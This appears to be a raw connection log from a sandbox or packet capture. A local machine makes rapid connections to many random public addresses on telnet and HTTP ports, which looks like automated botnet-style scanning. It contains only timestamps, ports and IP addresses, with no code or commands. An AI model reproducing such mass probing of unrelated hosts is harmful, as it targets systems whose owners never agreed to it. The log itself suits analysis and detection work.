Jan 30, 2025 10:43:02.165832043 CET	54410	80	192.168.2.14	41.102.78.109
Jan 30, 2025 10:43:02.166192055 CET	80	44864	71.52.157.180	192.168.2.14
Jan 30, 2025 10:43:02.170840025 CET	80	54410	41.102.78.109	192.168.2.14
Jan 30, 2025 10:43:02.170914888 CET	54410	80	192.168.2.14	41.102.78.109
Jan 30, 2025 10:43:02.175724983 CET	80	46950	17.43.38.50	192.168.2.14
Jan 30, 2025 10:43:02.179721117 CET	80	42018	72.103.254.195	192.168.2.14
Jan 30, 2025 10:43:02.187247992 CET	34110	80	192.168.2.14	218.142.171.47
Jan 30, 2025 10:43:02.187252045 CET	47348	23	192.168.2.14	153.215.19.51
Jan 30, 2025 10:43:02.187252045 CET	44020	80	192.168.2.14	222.8.71.76
Jan 30, 2025 10:43:02.187258005 CET	38384	23	192.168.2.14	158.101.166.46
Jan 30, 2025 10:43:02.187258005 CET	56948	80	192.168.2.14	180.246.42.84
Jan 30, 2025 10:43:02.187267065 CET	55394	80	192.168.2.14	24.29.122.83
Jan 30, 2025 10:43:02.187268972 CET	46420	80	192.168.2.14	101.99.144.61
Jan 30, 2025 10:43:02.187268972 CET	57852	23	192.168.2.14	141.43.198.91
Jan 30, 2025 10:43:02.187268972 CET	44018	80	192.168.2.14	109.93.61.91
Jan 30, 2025 10:43:02.187269926 CET	34344	23	192.168.2.14	81.208.180.164
Jan 30, 2025 10:43:02.187271118 CET	49978	23	192.168.2.14	163.171.65.239
Jan 30, 2025 10:43:02.187275887 CET	37920	80	192.168.2.14	167.95.37.105
Jan 30, 2025 10:43:02.187280893 CET	47034	23	192.168.2.14	27.82.232.179
Jan 30, 2025 10:43:02.187282085 CET	41936	80	192.168.2.14	202.158.129.118
Jan 30, 2025 10:43:02.187282085 CET	47598	23	192.168.2.14	131.167.255.94
Jan 30, 2025 10:43:02.187282085 CET	42952	80	192.168.2.14	221.204.118.50
Jan 30, 2025 10:43:02.187284946 CET	34682	23	192.168.2.14	170.117.69.61
Jan 30, 2025 10:43:02.187283039 CET	56944	23	192.168.2.14	189.240.24.88
Jan 30, 2025 10:43:02.187284946 CET	47160	23	192.168.2.14	38.41.60.178
Jan 30, 2025 10:43:02.187284946 CET	45800	23	192.168.2.14	50.111.252.230
Jan 30, 2025 10:43:02.187284946 CET	36074	80	192.168.2.14	54.87.158.117
Jan 30, 2025 10:43:02.187284946 CET	33388	80	192.168.2.14	40.97.127.126
Jan 30, 2025 10:43:02.187289953 CET	59384	80	192.168.2.14	156.114.249.224
Jan 30, 2025 10:43:02.187319994 CET	42914	80	192.168.2.14	102.228.247.160
Jan 30, 2025 10:43:02.192265034 CET	80	34110	218.142.171.47	192.168.2.14
Jan 30, 2025 10:43:02.192277908 CET	23	47348	153.215.19.51	192.168.2.14
Jan 30, 2025 10:43:02.192322969 CET	34110	80	192.168.2.14	218.142.171.47
Jan 30, 2025 10:43:02.192338943 CET	47348	23	192.168.2.14	153.215.19.51
Jan 30, 2025 10:43:02.192585945 CET	34110	80	192.168.2.14	218.142.171.47
Jan 30, 2025 10:43:02.192627907 CET	34110	80	192.168.2.14	218.142.171.47
Jan 30, 2025 10:43:02.193351030 CET	34576	80	192.168.2.14	218.142.171.47
Jan 30, 2025 10:43:02.197309017 CET	80	34110	218.142.171.47	192.168.2.14
Jan 30, 2025 10:43:02.204350948 CET	80	34576	218.142.171.47	192.168.2.14
Jan 30, 2025 10:43:02.204401016 CET	34576	80	192.168.2.14	218.142.171.47
Jan 30, 2025 10:43:02.204497099 CET	34576	80	192.168.2.14	218.142.171.47
Jan 30, 2025 10:43:02.209325075 CET	80	34576	218.142.171.47	192.168.2.14
Jan 30, 2025 10:43:02.209372044 CET	34576	80	192.168.2.14	218.142.171.47
Jan 30, 2025 10:43:02.211713076 CET	80	44864	71.52.157.180	192.168.2.14
Jan 30, 2025 10:43:02.211724997 CET	80	53886	41.102.78.109	192.168.2.14
Jan 30, 2025 10:43:02.219244957 CET	55788	23	192.168.2.14	131.189.41.63
Jan 30, 2025 10:43:02.219244957 CET	51166	80	192.168.2.14	140.69.154.1
Jan 30, 2025 10:43:02.219254971 CET	47474	23	192.168.2.14	186.64.96.58
Jan 30, 2025 10:43:02.219255924 CET	49784	23	192.168.2.14	158.202.88.176
Jan 30, 2025 10:43:02.219255924 CET	59386	23	192.168.2.14	156.212.20.48
Jan 30, 2025 10:43:02.219263077 CET	45470	23	192.168.2.14	124.163.5.175
Jan 30, 2025 10:43:02.219274998 CET	59368	80	192.168.2.14	183.112.108.163
Jan 30, 2025 10:43:02.219279051 CET	54738	23	192.168.2.14	76.42.13.152
Jan 30, 2025 10:43:02.219281912 CET	58524	80	192.168.2.14	169.71.185.12
Jan 30, 2025 10:43:02.219284058 CET	38514	23	192.168.2.14	2.158.46.248
Jan 30, 2025 10:43:02.219290018 CET	59768	23	192.168.2.14	90.176.6.100
Jan 30, 2025 10:43:02.219335079 CET	58472	23	192.168.2.14	168.29.44.220
Jan 30, 2025 10:43:02.219342947 CET	46534	23	192.168.2.14	107.154.166.22
Jan 30, 2025 10:43:02.219347954 CET	53052	23	192.168.2.14	145.96.18.189
Jan 30, 2025 10:43:02.219348907 CET	37584	23	192.168.2.14	37.110.212.212
Jan 30, 2025 10:43:02.219348907 CET	43940	23	192.168.2.14	13.176.144.13
Jan 30, 2025 10:43:02.219347954 CET	36630	80	192.168.2.14	188.152.22.164
Jan 30, 2025 10:43:02.219347954 CET	51580	80	192.168.2.14	101.105.101.85
Jan 30, 2025 10:43:02.219355106 CET	45828	80	192.168.2.14	153.28.150.0
Jan 30, 2025 10:43:02.219355106 CET	60116	80	192.168.2.14	13.31.53.69
Jan 30, 2025 10:43:02.219355106 CET	60350	80	192.168.2.14	189.18.211.232
Jan 30, 2025 10:43:02.219355106 CET	39098	80	192.168.2.14	116.141.13.77
Jan 30, 2025 10:43:02.219362020 CET	43760	80	192.168.2.14	64.194.130.124
Jan 30, 2025 10:43:02.219362974 CET	35892	80	192.168.2.14	32.20.136.243
Jan 30, 2025 10:43:02.219366074 CET	41694	80	192.168.2.14	164.162.138.202
Jan 30, 2025 10:43:02.219367027 CET	33452	80	192.168.2.14	72.190.163.202
Jan 30, 2025 10:43:02.224097013 CET	23	55788	131.189.41.63	192.168.2.14
Jan 30, 2025 10:43:02.224109888 CET	80	51166	140.69.154.1	192.168.2.14
Jan 30, 2025 10:43:02.224129915 CET	23	58472	168.29.44.220	192.168.2.14
Jan 30, 2025 10:43:02.224200964 CET	55788	23	192.168.2.14	131.189.41.63
Jan 30, 2025 10:43:02.224209070 CET	58472	23	192.168.2.14	168.29.44.220
Jan 30, 2025 10:43:02.224237919 CET	51166	80	192.168.2.14	140.69.154.1
Jan 30, 2025 10:43:02.224381924 CET	51166	80	192.168.2.14	140.69.154.1
Jan 30, 2025 10:43:02.224394083 CET	51166	80	192.168.2.14	140.69.154.1
Jan 30, 2025 10:43:02.224787951 CET	51576	80	192.168.2.14	140.69.154.1
Jan 30, 2025 10:43:02.229172945 CET	80	51166	140.69.154.1	192.168.2.14
Jan 30, 2025 10:43:02.239722967 CET	80	34110	218.142.171.47	192.168.2.14
Jan 30, 2025 10:43:02.251240969 CET	50946	23	192.168.2.14	9.232.38.90
Jan 30, 2025 10:43:02.251249075 CET	48930	23	192.168.2.14	159.48.79.134
Jan 30, 2025 10:43:02.251256943 CET	48206	23	192.168.2.14	45.26.8.105
Jan 30, 2025 10:43:02.251256943 CET	33554	23	192.168.2.14	69.232.229.103
Jan 30, 2025 10:43:02.251256943 CET	46044	23	192.168.2.14	117.18.52.15
Jan 30, 2025 10:43:02.251262903 CET	40308	23	192.168.2.14	137.235.255.225
Jan 30, 2025 10:43:02.251271009 CET	43904	80	192.168.2.14	75.104.75.176
Jan 30, 2025 10:43:02.251271963 CET	40488	23	192.168.2.14	195.70.91.168
Jan 30, 2025 10:43:02.251286030 CET	52752	23	192.168.2.14	208.11.100.130
Jan 30, 2025 10:43:02.251292944 CET	40798	23	192.168.2.14	213.230.220.243
Jan 30, 2025 10:43:02.251327038 CET	40230	23	192.168.2.14	88.158.1.228
Jan 30, 2025 10:43:02.251332045 CET	33598	23	192.168.2.14	40.246.201.198
Jan 30, 2025 10:43:02.251348019 CET	38226	23	192.168.2.14	87.216.141.205
Jan 30, 2025 10:43:02.251364946 CET	47800	23	192.168.2.14	91.18.163.105
Jan 30, 2025 10:43:02.251377106 CET	44230	80	192.168.2.14	199.71.176.72
Jan 30, 2025 10:43:02.251395941 CET	47622	23	192.168.2.14	196.151.125.165
Jan 30, 2025 10:43:02.251410007 CET	54066	80	192.168.2.14	201.225.216.198
Jan 30, 2025 10:43:02.251435995 CET	53556	80	192.168.2.14	47.230.157.208
Jan 30, 2025 10:43:02.251441956 CET	47018	80	192.168.2.14	58.149.86.49
Jan 30, 2025 10:43:02.251442909 CET	60606	80	192.168.2.14	91.99.79.0
Jan 30, 2025 10:43:02.251446009 CET	38666	23	192.168.2.14	118.212.248.36
Jan 30, 2025 10:43:02.251446009 CET	33100	80	192.168.2.14	14.130.211.223
Jan 30, 2025 10:43:02.251446009 CET	56164	80	192.168.2.14	223.231.66.61
Jan 30, 2025 10:43:02.256031990 CET	23	50946	9.232.38.90	192.168.2.14
Jan 30, 2025 10:43:02.256043911 CET	23	48930	159.48.79.134	192.168.2.14
Jan 30, 2025 10:43:02.256105900 CET	50946	23	192.168.2.14	9.232.38.90
Jan 30, 2025 10:43:02.256133080 CET	23	40230	88.158.1.228	192.168.2.14
Jan 30, 2025 10:43:02.256134033 CET	48930	23	192.168.2.14	159.48.79.134
Jan 30, 2025 10:43:02.256194115 CET	40230	23	192.168.2.14	88.158.1.228
Jan 30, 2025 10:43:02.271697998 CET	80	51166	140.69.154.1	192.168.2.14
Jan 30, 2025 10:43:02.283260107 CET	34674	23	192.168.2.14	97.248.87.88
Jan 30, 2025 10:43:02.283262968 CET	37070	80	192.168.2.14	66.84.50.216
Jan 30, 2025 10:43:02.283267975 CET	41030	80	192.168.2.14	64.30.33.55
Jan 30, 2025 10:43:02.283268929 CET	58628	23	192.168.2.14	100.48.159.253
Jan 30, 2025 10:43:02.283268929 CET	57766	23	192.168.2.14	136.69.245.231
Jan 30, 2025 10:43:02.283268929 CET	58926	23	192.168.2.14	205.18.13.164
Jan 30, 2025 10:43:02.283277035 CET	54922	23	192.168.2.14	37.235.118.110
Jan 30, 2025 10:43:02.283277035 CET	57956	23	192.168.2.14	131.145.223.108
Jan 30, 2025 10:43:02.283279896 CET	37690	23	192.168.2.14	53.35.130.156
Jan 30, 2025 10:43:02.283279896 CET	46182	23	192.168.2.14	211.228.207.243
Jan 30, 2025 10:43:02.283282042 CET	35432	80	192.168.2.14	115.27.91.61
Jan 30, 2025 10:43:02.283303976 CET	34868	23	192.168.2.14	162.148.116.69
Jan 30, 2025 10:43:02.283303976 CET	58124	23	192.168.2.14	90.243.252.229
Jan 30, 2025 10:43:02.283319950 CET	60750	23	192.168.2.14	81.123.76.95
Jan 30, 2025 10:43:02.283329964 CET	54824	80	192.168.2.14	152.129.178.243
Jan 30, 2025 10:43:02.283350945 CET	52700	80	192.168.2.14	142.231.215.51
Jan 30, 2025 10:43:02.283366919 CET	35464	80	192.168.2.14	188.84.228.143
Jan 30, 2025 10:43:02.283380985 CET	41402	80	192.168.2.14	76.70.153.23
Jan 30, 2025 10:43:02.283395052 CET	40142	80	192.168.2.14	124.155.57.184
Jan 30, 2025 10:43:02.283402920 CET	52798	80	192.168.2.14	18.170.17.66
Jan 30, 2025 10:43:02.283416033 CET	60584	80	192.168.2.14	91.128.91.22
Jan 30, 2025 10:43:02.288074017 CET	80	37070	66.84.50.216	192.168.2.14
Jan 30, 2025 10:43:02.288084984 CET	23	34674	97.248.87.88	192.168.2.14
Jan 30, 2025 10:43:02.288094997 CET	80	41030	64.30.33.55	192.168.2.14
Jan 30, 2025 10:43:02.288125992 CET	37070	80	192.168.2.14	66.84.50.216
Jan 30, 2025 10:43:02.288152933 CET	34674	23	192.168.2.14	97.248.87.88
Jan 30, 2025 10:43:02.288189888 CET	41030	80	192.168.2.14	64.30.33.55
Jan 30, 2025 10:43:02.288280964 CET	37070	80	192.168.2.14	66.84.50.216
Jan 30, 2025 10:43:02.288280964 CET	37070	80	192.168.2.14	66.84.50.216
Jan 30, 2025 10:43:02.288726091 CET	37382	80	192.168.2.14	66.84.50.216
Jan 30, 2025 10:43:02.289164066 CET	41030	80	192.168.2.14	64.30.33.55
Jan 30, 2025 10:43:02.289164066 CET	41030	80	192.168.2.14	64.30.33.55
Jan 30, 2025 10:43:02.289532900 CET	41348	80	192.168.2.14	64.30.33.55
Jan 30, 2025 10:43:02.293051958 CET	80	37070	66.84.50.216	192.168.2.14
Jan 30, 2025 10:43:02.293915033 CET	80	41030	64.30.33.55	192.168.2.14
Jan 30, 2025 10:43:02.315256119 CET	39988	23	192.168.2.14	19.24.141.97
Jan 30, 2025 10:43:02.315257072 CET	37706	23	192.168.2.14	203.253.22.110
Jan 30, 2025 10:43:02.315258026 CET	55542	80	192.168.2.14	196.131.224.189
Jan 30, 2025 10:43:02.315265894 CET	42412	23	192.168.2.14	101.83.111.40
Jan 30, 2025 10:43:02.315273046 CET	39186	23	192.168.2.14	143.52.203.108
Jan 30, 2025 10:43:02.315279007 CET	40148	80	192.168.2.14	23.195.253.247
Jan 30, 2025 10:43:02.315283060 CET	46154	80	192.168.2.14	120.156.154.135
Jan 30, 2025 10:43:02.315284967 CET	35336	80	192.168.2.14	70.67.135.56
Jan 30, 2025 10:43:02.315289974 CET	37098	23	192.168.2.14	90.248.95.93
Jan 30, 2025 10:43:02.315289974 CET	37570	80	192.168.2.14	171.85.237.97
Jan 30, 2025 10:43:02.315291882 CET	59188	23	192.168.2.14	196.202.231.26
Jan 30, 2025 10:43:02.315305948 CET	57716	23	192.168.2.14	86.131.55.201
Jan 30, 2025 10:43:02.315318108 CET	40762	23	192.168.2.14	49.181.254.175
Jan 30, 2025 10:43:02.315330029 CET	51824	23	192.168.2.14	103.197.110.162
Jan 30, 2025 10:43:02.315330029 CET	46746	23	192.168.2.14	173.211.164.143
Jan 30, 2025 10:43:02.315340042 CET	52948	23	192.168.2.14	93.3.231.15
Jan 30, 2025 10:43:02.315354109 CET	41602	23	192.168.2.14	137.186.157.142
Jan 30, 2025 10:43:02.315385103 CET	37654	80	192.168.2.14	45.159.42.170
Jan 30, 2025 10:43:02.315391064 CET	59166	80	192.168.2.14	176.11.178.157
Jan 30, 2025 10:43:02.315404892 CET	41006	80	192.168.2.14	117.36.218.208
Jan 30, 2025 10:43:02.315423965 CET	54168	80	192.168.2.14	37.189.190.222
Jan 30, 2025 10:43:02.315435886 CET	50822	80	192.168.2.14	36.244.20.137
Jan 30, 2025 10:43:02.315448999 CET	42388	80	192.168.2.14	104.65.63.136
Jan 30, 2025 10:43:02.315463066 CET	51784	80	192.168.2.14	42.137.3.170
Jan 30, 2025 10:43:02.320117950 CET	23	37706	203.253.22.110	192.168.2.14
Jan 30, 2025 10:43:02.320132017 CET	23	39988	19.24.141.97	192.168.2.14
Jan 30, 2025 10:43:02.320141077 CET	80	55542	196.131.224.189	192.168.2.14
Jan 30, 2025 10:43:02.320193052 CET	39988	23	192.168.2.14	19.24.141.97
Jan 30, 2025 10:43:02.320203066 CET	55542	80	192.168.2.14	196.131.224.189
Jan 30, 2025 10:43:02.320240974 CET	37706	23	192.168.2.14	203.253.22.110
Jan 30, 2025 10:43:02.320342064 CET	55542	80	192.168.2.14	196.131.224.189
Jan 30, 2025 10:43:02.320358992 CET	55542	80	192.168.2.14	196.131.224.189
Jan 30, 2025 10:43:02.320729971 CET	55802	80	192.168.2.14	196.131.224.189
Jan 30, 2025 10:43:02.325165033 CET	80	55542	196.131.224.189	192.168.2.14
Jan 30, 2025 10:43:02.325480938 CET	80	55802	196.131.224.189	192.168.2.14
Jan 30, 2025 10:43:02.325536966 CET	55802	80	192.168.2.14	196.131.224.189
Jan 30, 2025 10:43:02.325562954 CET	55802	80	192.168.2.14	196.131.224.189
Jan 30, 2025 10:43:02.330535889 CET	80	55802	196.131.224.189	192.168.2.14
Jan 30, 2025 10:43:02.330589056 CET	55802	80	192.168.2.14	196.131.224.189
Jan 30, 2025 10:43:02.335711956 CET	80	41030	64.30.33.55	192.168.2.14
Jan 30, 2025 10:43:02.335721970 CET	80	37070	66.84.50.216	192.168.2.14
Jan 30, 2025 10:43:02.347269058 CET	37928	80	192.168.2.14	126.245.114.212
Jan 30, 2025 10:43:02.347270966 CET	54220	23	192.168.2.14	128.34.200.102
Jan 30, 2025 10:43:02.347280979 CET	33394	23	192.168.2.14	23.231.98.71
Jan 30, 2025 10:43:02.347280979 CET	42736	23	192.168.2.14	181.23.57.195
Jan 30, 2025 10:43:02.347282887 CET	50310	23	192.168.2.14	117.240.29.230
Jan 30, 2025 10:43:02.347285032 CET	56300	23	192.168.2.14	157.78.114.244
Jan 30, 2025 10:43:02.347285032 CET	37958	23	192.168.2.14	168.213.38.162
Jan 30, 2025 10:43:02.347285032 CET	58226	23	192.168.2.14	175.146.203.178
Jan 30, 2025 10:43:02.347295046 CET	57304	23	192.168.2.14	152.132.175.95
Jan 30, 2025 10:43:02.347295046 CET	48600	80	192.168.2.14	43.83.128.171
Jan 30, 2025 10:43:02.347300053 CET	42246	23	192.168.2.14	153.29.121.93
Jan 30, 2025 10:43:02.347300053 CET	43274	23	192.168.2.14	109.166.181.201
Jan 30, 2025 10:43:02.347301960 CET	40778	80	192.168.2.14	107.214.109.83
Jan 30, 2025 10:43:02.347305059 CET	35318	80	192.168.2.14	53.182.223.56
Jan 30, 2025 10:43:02.347305059 CET	34098	23	192.168.2.14	187.84.133.124
Jan 30, 2025 10:43:02.347305059 CET	49898	80	192.168.2.14	12.55.101.186
Jan 30, 2025 10:43:02.347309113 CET	50572	23	192.168.2.14	19.61.174.251
Jan 30, 2025 10:43:02.347331047 CET	33564	80	192.168.2.14	58.95.204.51
Jan 30, 2025 10:43:02.347337008 CET	44228	23	192.168.2.14	71.130.200.166
Jan 30, 2025 10:43:02.347353935 CET	54380	80	192.168.2.14	153.31.89.75
Jan 30, 2025 10:43:02.347362995 CET	34610	23	192.168.2.14	23.67.10.178
Jan 30, 2025 10:43:02.347395897 CET	32826	80	192.168.2.14	170.200.119.231
Jan 30, 2025 10:43:02.347407103 CET	59554	80	192.168.2.14	143.101.149.90
Jan 30, 2025 10:43:02.347419024 CET	42110	80	192.168.2.14	32.84.125.20
Jan 30, 2025 10:43:02.352359056 CET	23	54220	128.34.200.102	192.168.2.14
Jan 30, 2025 10:43:02.352375031 CET	80	37928	126.245.114.212	192.168.2.14
Jan 30, 2025 10:43:02.352441072 CET	54220	23	192.168.2.14	128.34.200.102
Jan 30, 2025 10:43:02.352456093 CET	37928	80	192.168.2.14	126.245.114.212
Jan 30, 2025 10:43:02.352615118 CET	37928	80	192.168.2.14	126.245.114.212
Jan 30, 2025 10:43:02.352627039 CET	37928	80	192.168.2.14	126.245.114.212
Jan 30, 2025 10:43:02.353029013 CET	38136	80	192.168.2.14	126.245.114.212
Jan 30, 2025 10:43:02.357388020 CET	80	37928	126.245.114.212	192.168.2.14
Jan 30, 2025 10:43:02.357800007 CET	80	38136	126.245.114.212	192.168.2.14
Jan 30, 2025 10:43:02.357846022 CET	38136	80	192.168.2.14	126.245.114.212
Jan 30, 2025 10:43:02.357867956 CET	38136	80	192.168.2.14	126.245.114.212
Jan 30, 2025 10:43:02.362788916 CET	80	38136	126.245.114.212	192.168.2.14
Jan 30, 2025 10:43:02.362912893 CET	38136	80	192.168.2.14	126.245.114.212
Jan 30, 2025 10:43:02.367677927 CET	80	55542	196.131.224.189	192.168.2.14
Jan 30, 2025 10:43:02.379240990 CET	54226	23	192.168.2.14	222.205.253.197
Jan 30, 2025 10:43:02.379241943 CET	34458	23	192.168.2.14	4.184.231.164
Jan 30, 2025 10:43:02.379241943 CET	44950	23	192.168.2.14	139.235.204.206
Jan 30, 2025 10:43:02.379251957 CET	50896	23	192.168.2.14	35.96.54.185
Jan 30, 2025 10:43:02.379254103 CET	51636	23	192.168.2.14	17.81.98.167
Jan 30, 2025 10:43:02.379262924 CET	39484	80	192.168.2.14	167.137.151.25
Jan 30, 2025 10:43:02.379280090 CET	46074	23	192.168.2.14	181.159.112.218
Jan 30, 2025 10:43:02.379288912 CET	57978	23	192.168.2.14	169.223.194.34
Jan 30, 2025 10:43:02.379307032 CET	57494	80	192.168.2.14	135.33.37.175
Jan 30, 2025 10:43:02.379336119 CET	32880	80	192.168.2.14	63.179.229.61
Jan 30, 2025 10:43:02.379338980 CET	38080	80	192.168.2.14	148.126.172.10
Jan 30, 2025 10:43:02.379398108 CET	52732	80	192.168.2.14	75.126.156.38
Jan 30, 2025 10:43:02.379419088 CET	37380	80	192.168.2.14	112.235.91.75
Jan 30, 2025 10:43:02.379431963 CET	33110	80	192.168.2.14	167.83.109.80
Jan 30, 2025 10:43:02.379431963 CET	33274	80	192.168.2.14	202.243.9.93
Jan 30, 2025 10:43:02.379432917 CET	58116	80	192.168.2.14	185.103.128.119
Jan 30, 2025 10:43:02.379431963 CET	56748	80	192.168.2.14	139.203.17.83
Jan 30, 2025 10:43:02.379435062 CET	48042	80	192.168.2.14	94.45.193.170
Jan 30, 2025 10:43:02.379436016 CET	55790	80	192.168.2.14	37.86.139.71
Jan 30, 2025 10:43:02.379456043 CET	42760	80	192.168.2.14	14.139.27.83
Jan 30, 2025 10:43:02.379456997 CET	44848	80	192.168.2.14	8.247.107.28
Jan 30, 2025 10:43:02.379457951 CET	46056	80	192.168.2.14	103.44.133.210
Jan 30, 2025 10:43:02.379457951 CET	39336	80	192.168.2.14	43.234.156.6
Jan 30, 2025 10:43:02.379457951 CET	44670	80	192.168.2.14	206.244.102.161
Jan 30, 2025 10:43:02.379457951 CET	51094	80	192.168.2.14	13.56.93.149
Jan 30, 2025 10:43:02.384134054 CET	23	54226	222.205.253.197	192.168.2.14
Jan 30, 2025 10:43:02.384145021 CET	23	34458	4.184.231.164	192.168.2.14
Jan 30, 2025 10:43:02.384155035 CET	80	32880	63.179.229.61	192.168.2.14
Jan 30, 2025 10:43:02.384284973 CET	54226	23	192.168.2.14	222.205.253.197
Jan 30, 2025 10:43:02.384284973 CET	34458	23	192.168.2.14	4.184.231.164
Jan 30, 2025 10:43:02.384309053 CET	32880	80	192.168.2.14	63.179.229.61
Jan 30, 2025 10:43:02.384386063 CET	32880	80	192.168.2.14	63.179.229.61
Jan 30, 2025 10:43:02.384386063 CET	32880	80	192.168.2.14	63.179.229.61
Jan 30, 2025 10:43:02.384820938 CET	33038	80	192.168.2.14	63.179.229.61
Jan 30, 2025 10:43:02.389132977 CET	80	32880	63.179.229.61	192.168.2.14
Jan 30, 2025 10:43:02.403717041 CET	80	37928	126.245.114.212	192.168.2.14
Jan 30, 2025 10:43:02.411256075 CET	41712	80	192.168.2.14	107.102.56.208
Jan 30, 2025 10:43:02.411269903 CET	57588	80	192.168.2.14	192.36.128.195
Jan 30, 2025 10:43:02.411293983 CET	34978	80	192.168.2.14	19.48.24.237
Jan 30, 2025 10:43:02.411305904 CET	55342	80	192.168.2.14	169.134.77.237
Jan 30, 2025 10:43:02.411334038 CET	45982	80	192.168.2.14	20.190.13.119
Jan 30, 2025 10:43:02.411340952 CET	57740	80	192.168.2.14	17.134.11.14
Jan 30, 2025 10:43:02.411341906 CET	54868	80	192.168.2.14	212.146.212.212
Jan 30, 2025 10:43:02.411346912 CET	47072	80	192.168.2.14	142.123.19.80
Jan 30, 2025 10:43:02.411375999 CET	40908	80	192.168.2.14	144.85.7.196
Jan 30, 2025 10:43:02.411381960 CET	45120	80	192.168.2.14	119.27.8.73
Jan 30, 2025 10:43:02.411392927 CET	51028	80	192.168.2.14	135.121.243.76
Jan 30, 2025 10:43:02.416090965 CET	80	41712	107.102.56.208	192.168.2.14
Jan 30, 2025 10:43:02.416145086 CET	80	57588	192.36.128.195	192.168.2.14
Jan 30, 2025 10:43:02.416156054 CET	80	45982	20.190.13.119	192.168.2.14
Jan 30, 2025 10:43:02.416157007 CET	41712	80	192.168.2.14	107.102.56.208
Jan 30, 2025 10:43:02.416193962 CET	57588	80	192.168.2.14	192.36.128.195
Jan 30, 2025 10:43:02.416198015 CET	45982	80	192.168.2.14	20.190.13.119
Jan 30, 2025 10:43:02.416259050 CET	41712	80	192.168.2.14	107.102.56.208
Jan 30, 2025 10:43:02.416259050 CET	41712	80	192.168.2.14	107.102.56.208
Jan 30, 2025 10:43:02.416623116 CET	41840	80	192.168.2.14	107.102.56.208
Jan 30, 2025 10:43:02.417002916 CET	45982	80	192.168.2.14	20.190.13.119
Jan 30, 2025 10:43:02.417004108 CET	45982	80	192.168.2.14	20.190.13.119
Jan 30, 2025 10:43:02.417303085 CET	46120	80	192.168.2.14	20.190.13.119
Jan 30, 2025 10:43:02.417661905 CET	57588	80	192.168.2.14	192.36.128.195
Jan 30, 2025 10:43:02.417661905 CET	57588	80	192.168.2.14	192.36.128.195
Jan 30, 2025 10:43:02.417948008 CET	57722	80	192.168.2.14	192.36.128.195
Jan 30, 2025 10:43:02.421040058 CET	80	41712	107.102.56.208	192.168.2.14
Jan 30, 2025 10:43:02.421756029 CET	80	45982	20.190.13.119	192.168.2.14
Jan 30, 2025 10:43:02.422440052 CET	80	57588	192.36.128.195	192.168.2.14
Jan 30, 2025 10:43:02.431786060 CET	80	32880	63.179.229.61	192.168.2.14
Jan 30, 2025 10:43:02.443260908 CET	58598	80	192.168.2.14	109.161.22.103
Jan 30, 2025 10:43:02.443286896 CET	60104	80	192.168.2.14	23.12.102.222
Jan 30, 2025 10:43:02.443289042 CET	38984	80	192.168.2.14	8.228.23.204
Jan 30, 2025 10:43:02.443300009 CET	41782	80	192.168.2.14	17.226.211.55
Jan 30, 2025 10:43:02.443310022 CET	43468	80	192.168.2.14	107.251.13.205
Jan 30, 2025 10:43:02.443325043 CET	57884	80	192.168.2.14	182.44.1.128
Jan 30, 2025 10:43:02.443347931 CET	42682	80	192.168.2.14	85.67.211.58
Jan 30, 2025 10:43:02.443361998 CET	38300	80	192.168.2.14	172.66.73.190
Jan 30, 2025 10:43:02.443377972 CET	39700	80	192.168.2.14	207.195.50.93
Jan 30, 2025 10:43:02.443384886 CET	54522	80	192.168.2.14	135.235.146.195
Jan 30, 2025 10:43:02.443401098 CET	44294	80	192.168.2.14	67.120.157.5
Jan 30, 2025 10:43:02.443409920 CET	60160	80	192.168.2.14	144.10.187.85
Jan 30, 2025 10:43:02.443449974 CET	47400	80	192.168.2.14	113.148.146.197
Jan 30, 2025 10:43:02.443451881 CET	39098	80	192.168.2.14	91.92.249.234
Jan 30, 2025 10:43:02.443464041 CET	52646	80	192.168.2.14	206.228.21.107
Jan 30, 2025 10:43:02.443465948 CET	40308	80	192.168.2.14	69.152.33.44
Jan 30, 2025 10:43:02.443476915 CET	51310	80	192.168.2.14	79.203.84.48
Jan 30, 2025 10:43:02.443489075 CET	45372	80	192.168.2.14	69.179.37.238
Jan 30, 2025 10:43:02.443500996 CET	34288	80	192.168.2.14	148.70.250.60
Jan 30, 2025 10:43:02.443526983 CET	36970	80	192.168.2.14	207.173.216.199
Jan 30, 2025 10:43:02.443540096 CET	49098	80	192.168.2.14	219.124.101.191
Jan 30, 2025 10:43:02.443542957 CET	57084	80	192.168.2.14	151.165.83.172
Jan 30, 2025 10:43:02.443546057 CET	41976	80	192.168.2.14	32.243.4.33
Jan 30, 2025 10:43:02.448098898 CET	80	58598	109.161.22.103	192.168.2.14
Jan 30, 2025 10:43:02.448111057 CET	80	60104	23.12.102.222	192.168.2.14
Jan 30, 2025 10:43:02.448120117 CET	80	38984	8.228.23.204	192.168.2.14
Jan 30, 2025 10:43:02.448151112 CET	58598	80	192.168.2.14	109.161.22.103
Jan 30, 2025 10:43:02.448170900 CET	60104	80	192.168.2.14	23.12.102.222
Jan 30, 2025 10:43:02.448199034 CET	38984	80	192.168.2.14	8.228.23.204
Jan 30, 2025 10:43:02.448229074 CET	60104	80	192.168.2.14	23.12.102.222
Jan 30, 2025 10:43:02.448230028 CET	60104	80	192.168.2.14	23.12.102.222
Jan 30, 2025 10:43:02.448568106 CET	60188	80	192.168.2.14	23.12.102.222
Jan 30, 2025 10:43:02.448915005 CET	38984	80	192.168.2.14	8.228.23.204
Jan 30, 2025 10:43:02.448915005 CET	38984	80	192.168.2.14	8.228.23.204
Jan 30, 2025 10:43:02.449203968 CET	39068	80	192.168.2.14	8.228.23.204
Jan 30, 2025 10:43:02.449553013 CET	58598	80	192.168.2.14	109.161.22.103
Jan 30, 2025 10:43:02.449553013 CET	58598	80	192.168.2.14	109.161.22.103
Jan 30, 2025 10:43:02.449852943 CET	58682	80	192.168.2.14	109.161.22.103
Jan 30, 2025 10:43:02.452975988 CET	80	60104	23.12.102.222	192.168.2.14
Jan 30, 2025 10:43:02.453752995 CET	80	38984	8.228.23.204	192.168.2.14
Jan 30, 2025 10:43:02.454304934 CET	80	58598	109.161.22.103	192.168.2.14
Jan 30, 2025 10:43:02.463715076 CET	80	57588	192.36.128.195	192.168.2.14
Jan 30, 2025 10:43:02.463725090 CET	80	45982	20.190.13.119	192.168.2.14
Jan 30, 2025 10:43:02.463733912 CET	80	41712	107.102.56.208	192.168.2.14
Jan 30, 2025 10:43:02.475270033 CET	32882	80	192.168.2.14	57.162.48.58
Jan 30, 2025 10:43:02.475291967 CET	43500	80	192.168.2.14	104.250.231.48
Jan 30, 2025 10:43:02.475311041 CET	56994	80	192.168.2.14	76.228.178.139
Jan 30, 2025 10:43:02.475318909 CET	60374	80	192.168.2.14	155.198.4.108
